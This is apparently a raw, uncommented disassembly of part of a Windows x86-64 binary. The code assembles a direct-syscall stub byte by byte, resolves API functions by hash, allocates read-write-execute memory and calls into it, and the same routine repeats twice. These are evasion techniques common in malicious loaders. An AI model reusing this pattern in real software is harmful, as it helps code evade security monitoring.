mov qword [rsp + 0xa0c8], rax
cmp qword [rsp + 0x4a90], 0
je 0x14013c3a5
cmp qword [rsp + 0x4a88], 0
je 0x14013c3a5
xor eax, eax
cmp rax, 8
jne 0x14013c3b2
mov byte [rsp + 0x83], 0
jmp 0x14013d511
lea rax, [rsp + 0xd750]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd750], 0x33
mov rax, qword [rsp + 0x4a88]
mov qword [rsp + 0xd760], rax
mov rax, qword [rsp + 0x4a90]
mov qword [rsp + 0xd768], rax
mov qword [rsp + 0xd770], 8
mov dword [rsp + 0x25c4], 0
mov qword [rsp + 0xa090], 0
mov qword [rsp + 0xa098], 0x28
lea rax, [rsp + 0xd750]
mov qword [rsp + 0xa0a0], rax
lea rax, [rsp + 0x12808]
mov qword [rsp + 0xa0a8], rax
mov qword [rsp + 0xa0b0], 0
mov qword [rsp + 0xa0b8], 0
mov qword [rsp + 0xa0c0], 0
mov dword [rsp + 0x2584], 0x9363e455
mov eax, dword [rsp + 0x2584]
mov dword [rsp + 0x2588], eax
lea rcx, [rsp + 0x2588]
call fcn.1400a2c20
mov dword [rsp + 0x65f0], eax
mov dword [rsp + 0x65f4], 0
lea rax, [rsp + 0x65f8]
mov qword [rsp + 0xa088], rax
mov dword [rsp + 0x25c0], 0x49
mov dword [rsp + 0x25bc], 0x89
mov dword [rsp + 0x25b8], 0xca
mov dword [rsp + 0x25b4], 0x48
mov dword [rsp + 0x25b0], 0xc7
mov dword [rsp + 0x25ac], 0xc0
mov dword [rsp + 0x25a8], 0x3f
mov dword [rsp + 0x25a4], 0x10
mov dword [rsp + 0x25a0], 0
mov dword [rsp + 0x259c], 0
mov dword [rsp + 0x2598], 0xf
mov dword [rsp + 0x2594], 5
mov dword [rsp + 0x2590], 0xc3
lea rax, [rsp + 0x2590]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2594]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2598]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x259c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x25a0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x25a4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x25a8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x25ac]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x25b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x25b4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x25b8]
lea r8, [rsp + 0x25bc]
lea rdx, [rsp + 0x25c0]
mov rcx, qword [rsp + 0xa088]
call fcn.14008f900
mov byte [rsp + 0x324], 1
mov byte [rsp + 0x325], 0
movsxd rax, dword [rsp + 0x25c4]
mov qword [rsp + 0xa200], rax
mov byte [rsp + 0x326], 0
mov byte [rsp + 0x327], 0
mov rax, qword [rsp + 0xa090]
mov qword [rsp + 0xa208], rax
mov byte [rsp + 0x328], 0
mov byte [rsp + 0x329], 1
mov rax, qword [rsp + 0xa098]
mov qword [rsp + 0xa210], rax
mov byte [rsp + 0x32a], 0
mov byte [rsp + 0x32b], 0
mov rax, qword [rsp + 0xa0a0]
mov qword [rsp + 0xa218], rax
mov byte [rsp + 0x32c], 0
mov byte [rsp + 0x32d], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xa220], rax
mov byte [rsp + 0x32e], 0
mov byte [rsp + 0x32f], 0
mov rax, qword [rsp + 0xa0a8]
mov qword [rsp + 0xa228], rax
mov byte [rsp + 0x330], 0
mov byte [rsp + 0x331], 0
mov rax, qword [rsp + 0xa0b0]
mov qword [rsp + 0xa230], rax
mov byte [rsp + 0x332], 0
mov byte [rsp + 0x333], 0
mov rax, qword [rsp + 0xa0b8]
mov qword [rsp + 0xa238], rax
mov byte [rsp + 0x334], 0
mov byte [rsp + 0x335], 0
mov rax, qword [rsp + 0xa0c0]
mov qword [rsp + 0xa240], rax
mov byte [rsp + 0x336], 0
mov byte [rsp + 0x337], 0
mov rax, qword [rsp + 0xa0c8]
mov qword [rsp + 0xa248], rax
mov eax, dword [rsp + 0x65f0]
mov dword [rsp + 0x25c8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf800]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa0d0], rax
lea r8, [rsp + 0x25c8]
lea rdx, [rsp + 0x4a98]
mov rcx, qword [rsp + 0xa0d0]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa0d8], rax
lea rdx, [rsp + 0x11650]
mov rcx, qword [rsp + 0xa0d8]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4a98]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013c7c3
mov qword [rsp + 0x4aa0], 0
jmp 0x14013c7dc
lea rcx, [rsp + 0x4a98]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa0]
mov qword [rsp + 0xa0e0], rax
lea rcx, [rsp + 0xf800]
call fcn.1400a0f10
mov rax, qword [rsp + 0xa0e0]
mov qword [rsp + 0x4aa8], rax
cmp qword [rsp + 0x4aa8], 0
je 0x14013c839
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x25d0], eax
mov eax, dword [rsp + 0x25d0]
mov dword [rsp + 0x65f4], eax
jmp 0x14013d2c7
lea rax, [rsp + 0xd4cc]
mov qword [rsp + 0xa0e8], rax
xor edx, edx
mov rcx, qword [rsp + 0xa0e8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x25d4], eax
lea rax, [rsp + 0xd4d0]
mov qword [rsp + 0xa0f0], rax
mov edx, dword [rsp + 0x65f0]
mov rcx, qword [rsp + 0xa0f0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x25d8], eax
mov eax, dword [rsp + 0x25d4]
mov dword [rsp + 0xb98], eax
mov eax, dword [rsp + 0x25d8]
mov dword [rsp + 0xbb0], eax
xor edx, edx
lea rcx, [rsp + 0x25dc]
call fcn.14009b2f0
lea rdx, [rsp + 0x25dc]
lea rcx, [rsp + 0xbb0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013c8e6
mov qword [rsp + 0x1378], 0
jmp 0x14013d1e5
mov byte [rsp + 0x338], 1
mov qword [rsp + 0x6960], 0
mov qword [rsp + 0x6968], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3f80], rax
mov eax, 1
test eax, eax
je 0x14013c938
mov rax, qword [rsp + 0x3f80]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4ab8], rax
jmp 0x14013c94b
mov rax, qword [rsp + 0x3f80]
mov rax, qword [rax]
mov qword [rsp + 0x4ab8], rax
mov rax, qword [rsp + 0x4ab8]
mov qword [rsp + 0x6960], rax
mov rax, qword [rsp + 0x3f80]
mov qword [rsp + 0x6968], rax
lea rax, [rsp + 0x6960]
mov qword [rsp + 0x4ac0], rax
lea rdx, [rsp + 0x1370]
mov rcx, qword [rsp + 0x4ac0]
call fcn.14018efb0
lea rdx, [rsp + 0xa0f8]
mov rcx, qword [rsp + 0x4ac0]
call fcn.140190a30
jmp 0x14013c9ba
mov rax, qword [rsp + 0x1370]
mov rax, qword [rax]
mov qword [rsp + 0x1370], rax
mov rax, qword [rsp + 0xa0f8]
cmp qword [rsp + 0x1370], rax
je 0x14013c9d9
mov dword [rsp + 0xb94], 1
jmp 0x14013c9e4
mov dword [rsp + 0xb94], 0
movzx eax, byte [rsp + 0xb94]
test eax, eax
je 0x14013d1d9
xor edx, edx
mov rcx, qword [rsp + 0x1370]
call fcn.140096d90
mov qword [rsp + 0xa100], rax
lea rax, [rsp + 0xa100]
mov qword [rsp + 0x4ac8], rax
xor edx, edx
lea rcx, [rsp + 0x25e0]
call fcn.14009b2f0
lea rdx, [rsp + 0x25e0]
lea rcx, [rsp + 0xb98]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013cc84
mov rax, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xa108], rax
lea rdx, [rsp + 0x12818]
mov rcx, qword [rsp + 0xa108]
call fcn.14019acf0
lea rcx, [rsp + 0xf810]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xb98]
mov dword [rsp + 0x25e4], eax
lea rax, [rsp + 0xd300]
lea rcx, [rsp + 0xf810]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x25e4]
mov dword [rsp + 0xba0], eax
lea rax, [rsp + 0x25e8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x25e8]
call fcn.14009b310
mov qword [rsp + 0xa110], rax
lea rax, [rsp + 0xf820]
lea rcx, [rsp + 0xd300]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf830]
lea rcx, [rsp + 0xf820]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf830]
mov rcx, qword [rsp + 0xa110]
call fcn.140097890
mov dword [rsp + 0x25f0], eax
lea rcx, [rsp + 0xd300]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xa118], rax
mov r9, qword [rsp + 0xa118]
xor r8d, r8d
lea rdx, [rsp + 0xf840]
lea rcx, [rsp + 0xd300]
call fcn.14019ab70
lea rax, [rsp + 0x25ec]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x25ec]
call fcn.14009b310
mov qword [rsp + 0xa120], rax
lea rax, [rsp + 0xf850]
lea rcx, [rsp + 0xf840]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf860]
lea rcx, [rsp + 0xf850]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf860]
mov rcx, qword [rsp + 0xa120]
call fcn.140097890
mov dword [rsp + 0x25f8], eax
mov edx, dword [rsp + 0x25f0]
lea rcx, [rsp + 0x25f4]
call fcn.14009b2f0
lea rdx, [rsp + 0x25f4]
lea rcx, [rsp + 0xba0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013cc68
mov edx, dword [rsp + 0x25f8]
lea rcx, [rsp + 0x25fc]
call fcn.14009b2f0
lea rdx, [rsp + 0x25fc]
lea rcx, [rsp + 0xba0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013cc68
mov dword [rsp + 0xba8], 1
jmp 0x14013cc73
mov dword [rsp + 0xba8], 0
movzx eax, byte [rsp + 0xba8]
test eax, eax
je 0x14013cc84
jmp 0x14013c9a7
mov rax, qword [rsp + 0x4ac8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4ad0], rax
mov rax, qword [rsp + 0x4ad0]
mov qword [rsp + 0x44c8], rax
mov rax, qword [rsp + 0x4ad0]
mov qword [rsp + 0xa128], rax
mov rax, qword [rsp + 0xa128]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa130], rax
mov rax, qword [rsp + 0xa130]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xa138], rax
mov eax, dword [rsp + 0xa138]
add rax, qword [rsp + 0x44c8]
mov qword [rsp + 0xa140], rax
mov rax, qword [rsp + 0xa140]
mov qword [rsp + 0x44d0], rax
lea rdx, [rsp + 0xbb0]
lea rcx, [rsp + 0xd4d4]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11de0]
lea rcx, [rsp + 0x44c8]
call fcn.140097040
lea rdx, [rsp + 0x13948]
lea rcx, [rsp + 0x44c8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11de0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013cd70
jmp 0x14013c9a7
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14013cdf3
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11df0]
mov qword [rsp + 0x4ad8], rax
mov rcx, qword [rsp + 0x4ad8]
call fcn.140097960
mov qword [rsp + 0x11658], rax
mov rcx, qword [rsp + 0x4ad8]
call fcn.140097950
mov qword [rsp + 0x3f90], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov qword [rsp + 0x4af0], rax
mov rax, qword [rsp + 0x44c8]
mov qword [rsp + 0xa148], rax
mov rax, qword [rsp + 0xa148]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa150], rax
mov rax, qword [rsp + 0xa150]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4ae0], rax
mov eax, dword [rsp + 0x4ae0]
add rax, qword [rsp + 0x44c8]
mov qword [rsp + 0x4ae8], rax
mov eax, dword [rsp + 0x4ae4]
mov rcx, qword [rsp + 0x4ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0x4ae8]
cmp qword [rsp + 0x4af0], rax
jb 0x14013cee5
mov rax, qword [rsp + 0xa158]
cmp qword [rsp + 0x4af0], rax
jae 0x14013cee5
mov dword [rsp + 0xbb8], 1
jmp 0x14013cef0
mov dword [rsp + 0xbb8], 0
movzx eax, byte [rsp + 0xbb8]
mov byte [rsp + 0xf3], al
movzx eax, byte [rsp + 0xf3]
test eax, eax
je 0x14013d1bf
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0xa160]
mov qword [rsp + 0xa168], rax
lea rax, [rsp + 0x12828]
mov qword [rsp + 0xa170], rax
mov rdx, qword [rsp + 0xa168]
mov rcx, qword [rsp + 0xa170]
call fcn.140095590
lea rcx, [rsp + 0x6970]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6970]
call fcn.140191090
mov qword [rsp + 0x3f88], rax
cmp qword [rsp + 0x3f88], 0xffffffffffffffff
je 0x14013cffa
mov r9, qword [rsp + 0x3f88]
xor r8d, r8d
lea rdx, [rsp + 0xf880]
lea rcx, [rsp + 0x6970]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3f88]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf870]
lea rcx, [rsp + 0x6970]
call fcn.14019aaa0
lea r8, [rsp + 0xf870]
lea rdx, [rsp + 0xf880]
lea rcx, [rsp + 0x11250]
call fcn.14008f7e0
jmp 0x14013d035
lea rax, [rsp + 0x6970]
mov qword [rsp + 0xa178], rax
lea rcx, [rsp + 0xf890]
call fcn.140099fb0
lea r8, [rsp + 0xf890]
mov rdx, qword [rsp + 0xa178]
lea rcx, [rsp + 0x11250]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11250]
call fcn.140097960
mov qword [rsp + 0xa180], rax
lea rcx, [rsp + 0x11250]
call fcn.140097950
mov qword [rsp + 0xa198], rax
lea rax, [rsp + 0xd4d8]
mov qword [rsp + 0xa190], rax
lea rax, [rsp + 0x2600]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2600]
call fcn.14009b310
mov qword [rsp + 0xa188], rax
lea rax, [rsp + 0xf8a0]
mov rdi, rax
mov rsi, qword [rsp + 0xa180]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf8b0]
lea rcx, [rsp + 0xf8a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf8b0]
mov rcx, qword [rsp + 0xa188]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa190]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2608], eax
lea rax, [rsp + 0xd4dc]
mov qword [rsp + 0xa1a8], rax
lea rax, [rsp + 0x2604]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2604]
call fcn.14009b310
mov qword [rsp + 0xa1a0], rax
lea rax, [rsp + 0xf8c0]
mov rdi, rax
mov rsi, qword [rsp + 0xa198]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf8d0]
lea rcx, [rsp + 0xf8c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf8d0]
mov rcx, qword [rsp + 0xa1a0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa1a8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x260c], eax
mov r8d, dword [rsp + 0x2608]
mov edx, dword [rsp + 0x260c]
lea rcx, [rsp + 0x3f98]
call fcn.140191150
mov qword [rsp + 0x1378], rax
jmp 0x14013d1e5
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov qword [rsp + 0x1378], rax
jmp 0x14013d1e5
mov qword [rsp + 0x1378], 0
mov rax, qword [rsp + 0x1378]
mov qword [rsp + 0x3f98], rax
lea rcx, [rsp + 0x3f98]
call fcn.1400a2c10
mov qword [rsp + 0xa1b0], rax
mov eax, dword [rsp + 0x65f0]
mov dword [rsp + 0x2610], eax
mov rax, qword [rsp + 0xa1b0]
mov qword [rsp + 0xa1b8], rax
mov eax, dword [rsp + 0x2610]
mov dword [rsp + 0x2618], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf8e0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa1c0], rax
lea r9, [rsp + 0xa1b8]
lea r8, [rsp + 0x2618]
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0xa1c0]
call fcn.140098320
lea rcx, [rsp + 0xf8e0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3f98]
call fcn.1400a2c10
mov qword [rsp + 0xa1c8], rax
mov rax, qword [rsp + 0xa1c8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2620], eax
mov eax, dword [rsp + 0x2620]
mov dword [rsp + 0x65f4], eax
lea rax, [rsp + 0x65f8]
mov qword [rsp + 0xa1d0], rax
mov eax, dword [rsp + 0x65f4]
mov dword [rsp + 0x2628], eax
mov rax, qword [rsp + 0xa1d0]
add rax, 0x11
mov qword [rsp + 0xa1d8], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xa1d8]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2628]
mov dword [rax], ecx
lea rax, [rsp + 0x65f8]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x640]
add rax, 0x10
mov qword [rsp + 0x11660], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xa1e0], rax
mov qword [rsp + 0x4af8], 0
mov qword [rsp + 0xa1e8], 0xd
mov rax, qword [rsp + 0xa1e0]
mov qword [rsp + 0xa1f0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa1e8]
xor r8d, r8d
lea rdx, [rsp + 0x4af8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xa1f0]
mov dword [rsp + 0x2630], eax
cmp dword [rsp + 0x2630], 0
jl 0x14013d3c9
mov rax, qword [rsp + 0x4af8]
mov qword [rsp + 0x4b00], rax
jmp 0x14013d3d5
mov qword [rsp + 0x4b00], 0
mov rax, qword [rsp + 0x4b00]
mov qword [rsp + 0xa1f8], rax
mov rax, qword [rsp + 0x640]
mov rcx, qword [rsp + 0xa1f8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x640]
cmp qword [rax + 8], 0
jne 0x14013d40a
jmp 0x14013d44e
mov rax, qword [rsp + 0x640]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x640]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x640]
mov rcx, qword [rsp + 0x640]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x65f8]
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0xa200]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa208]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa210]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa218]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa220]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa228]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa230]
mov r8, qword [rsp + 0xa238]
mov rdx, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xa248]
call qword [rsp + 0xa250]
mov dword [rsp + 0x2634], eax
lea rcx, [rsp + 0x65f0]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2634]
mov dword [rsp + 0x2638], eax
cmp dword [rsp + 0x2638], 0
jge 0x14013d509
mov byte [rsp + 0x83], 0
jmp 0x14013d511
mov byte [rsp + 0x83], 1
movzx eax, byte [rsp + 0x83]
test eax, eax
je 0x14013d528
cmp qword [rsp + 0x3fa0], 0
jne 0x14013d538
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
mov qword [rsp + 0x13b0], 0
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0x4b10], rax
mov rax, qword [rsp + 0x3fa0]
add rax, 0x28
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0xa298], rax
cmp qword [rsp + 0x4b10], 0
je 0x14013d596
cmp qword [rsp + 0x4b08], 0
je 0x14013d596
xor eax, eax
cmp rax, 8
jne 0x14013d5a3
mov byte [rsp + 0x84], 0
jmp 0x14013e702
lea rax, [rsp + 0xd958]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd958], 0x33
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0xd968], rax
mov rax, qword [rsp + 0x4b10]
mov qword [rsp + 0xd970], rax
mov qword [rsp + 0xd978], 8
mov dword [rsp + 0x267c], 0
mov qword [rsp + 0xa260], 0
mov qword [rsp + 0xa268], 0x28
lea rax, [rsp + 0xd958]
mov qword [rsp + 0xa270], rax
lea rax, [rsp + 0x12848]
mov qword [rsp + 0xa278], rax
mov qword [rsp + 0xa280], 0
mov qword [rsp + 0xa288], 0
mov qword [rsp + 0xa290], 0
mov dword [rsp + 0x263c], 0x9363e455
mov eax, dword [rsp + 0x263c]
mov dword [rsp + 0x2640], eax
lea rcx, [rsp + 0x2640]
call fcn.1400a2c20
mov dword [rsp + 0x6618], eax
mov dword [rsp + 0x661c], 0
lea rax, [rsp + 0x6620]
mov qword [rsp + 0xa258], rax
mov dword [rsp + 0x2678], 0x49
mov dword [rsp + 0x2674], 0x89
mov dword [rsp + 0x2670], 0xca
mov dword [rsp + 0x266c], 0x48
mov dword [rsp + 0x2668], 0xc7
mov dword [rsp + 0x2664], 0xc0
mov dword [rsp + 0x2660], 0x3f
mov dword [rsp + 0x265c], 0x10
mov dword [rsp + 0x2658], 0
mov dword [rsp + 0x2654], 0
mov dword [rsp + 0x2650], 0xf
mov dword [rsp + 0x264c], 5
mov dword [rsp + 0x2648], 0xc3
lea rax, [rsp + 0x2648]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x264c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2650]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2654]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2658]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x265c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2660]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2664]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2668]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x266c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2670]
lea r8, [rsp + 0x2674]
lea rdx, [rsp + 0x2678]
mov rcx, qword [rsp + 0xa258]
call fcn.14008f900
mov byte [rsp + 0x339], 1
mov byte [rsp + 0x33a], 0
movsxd rax, dword [rsp + 0x267c]
mov qword [rsp + 0xa3d0], rax
mov byte [rsp + 0x33b], 0
mov byte [rsp + 0x33c], 0
mov rax, qword [rsp + 0xa260]
mov qword [rsp + 0xa3d8], rax
mov byte [rsp + 0x33d], 0
mov byte [rsp + 0x33e], 1
mov rax, qword [rsp + 0xa268]
mov qword [rsp + 0xa3e0], rax
mov byte [rsp + 0x33f], 0
mov byte [rsp + 0x340], 0
mov rax, qword [rsp + 0xa270]
mov qword [rsp + 0xa3e8], rax
mov byte [rsp + 0x341], 0
mov byte [rsp + 0x342], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xa3f0], rax
mov byte [rsp + 0x343], 0
mov byte [rsp + 0x344], 0
mov rax, qword [rsp + 0xa278]
mov qword [rsp + 0xa3f8], rax
mov byte [rsp + 0x345], 0
mov byte [rsp + 0x346], 0
mov rax, qword [rsp + 0xa280]
mov qword [rsp + 0xa400], rax
mov byte [rsp + 0x347], 0
mov byte [rsp + 0x348], 0
mov rax, qword [rsp + 0xa288]
mov qword [rsp + 0xa408], rax
mov byte [rsp + 0x349], 0
mov byte [rsp + 0x34a], 0
mov rax, qword [rsp + 0xa290]
mov qword [rsp + 0xa410], rax
mov byte [rsp + 0x34b], 0
mov byte [rsp + 0x34c], 0
mov rax, qword [rsp + 0xa298]
mov qword [rsp + 0xa418], rax
mov eax, dword [rsp + 0x6618]
mov dword [rsp + 0x2680], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf8f0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa2a0], rax
lea r8, [rsp + 0x2680]
lea rdx, [rsp + 0x4b18]
mov rcx, qword [rsp + 0xa2a0]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa2a8], rax
lea rdx, [rsp + 0x11668]
mov rcx, qword [rsp + 0xa2a8]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4b18]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013d9b4
mov qword [rsp + 0x4b20], 0
jmp 0x14013d9cd
lea rcx, [rsp + 0x4b18]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b20]
mov qword [rsp + 0xa2b0], rax
lea rcx, [rsp + 0xf8f0]
call fcn.1400a0f10
mov rax, qword [rsp + 0xa2b0]
mov qword [rsp + 0x4b28], rax
cmp qword [rsp + 0x4b28], 0
je 0x14013da2a
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2688], eax
mov eax, dword [rsp + 0x2688]
mov dword [rsp + 0x661c], eax
jmp 0x14013e4b8
lea rax, [rsp + 0xd4e0]
mov qword [rsp + 0xa2b8], rax
xor edx, edx
mov rcx, qword [rsp + 0xa2b8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x268c], eax
lea rax, [rsp + 0xd4e4]
mov qword [rsp + 0xa2c0], rax
mov edx, dword [rsp + 0x6618]
mov rcx, qword [rsp + 0xa2c0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2690], eax
mov eax, dword [rsp + 0x268c]
mov dword [rsp + 0xbc0], eax
mov eax, dword [rsp + 0x2690]
mov dword [rsp + 0xbd8], eax
xor edx, edx
lea rcx, [rsp + 0x2694]
call fcn.14009b2f0
lea rdx, [rsp + 0x2694]
lea rcx, [rsp + 0xbd8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013dad7
mov qword [rsp + 0x1388], 0
jmp 0x14013e3d6
mov byte [rsp + 0x34d], 1
mov qword [rsp + 0x6980], 0
mov qword [rsp + 0x6988], 0
